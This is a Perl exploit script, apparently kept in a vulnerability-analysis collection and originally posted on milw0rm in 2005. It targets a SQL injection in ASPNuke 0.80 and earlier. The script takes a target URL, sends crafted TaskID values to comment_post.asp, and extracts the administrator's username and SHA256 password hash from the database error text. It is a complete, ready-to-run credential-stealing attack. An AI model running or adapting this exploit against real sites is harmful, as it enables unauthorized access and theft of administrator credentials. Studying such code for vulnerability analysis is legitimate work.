lilbool/vuln-code-analysis
0
1#!/usr/bin/perl -w
2#
3# SQL Injection Exploit for ASPNuke <= 0.80
4# This exploit retrieve the username of the administrator of the board and his password crypted in SHA256
5# Related advisory: http://www.securityfocus.com/archive/1/403479/30/0/threaded
6# Discovered and Coded by Alberto Trivero
7
8use LWP::Simple;
9
10print "\n\t===============================\n";
11print "\t= Exploit for ASPNuke <= 0.80 =\n";
12print "\t= by Alberto Trivero =\n";
13print "\t===============================\n\n";
14
15if(@ARGV!=1 or !($ARGV[0]=~m/http/)) {
16 print "Usage:\nperl $0 [full_target_path]\n\nExamples:\nperl $0 http://www.example.com/aspnuke/\n";
17 exit(0);
18}
19
20$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Username") || die "[-] Unable to retrieve: $!";
21print "[+] Connected to: $ARGV[0]\n";
22$page=~m/the varchar value '(.*?)' to a column/ && print "[+] Username of admin is: $1\n";
23print "[-] Unable to retrieve Username\n" if(!$1);
24$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Password") || die "[-] Unable to retrieve: $!";
25$page=~m/the varchar value '(.*?)' to a column/ && print "[+] SHA256 hash of password is: $1\n";
26print "[-] Unable to retrieve hash of password\n" if(!$1);
27
28# milw0rm.com [2005-06-27]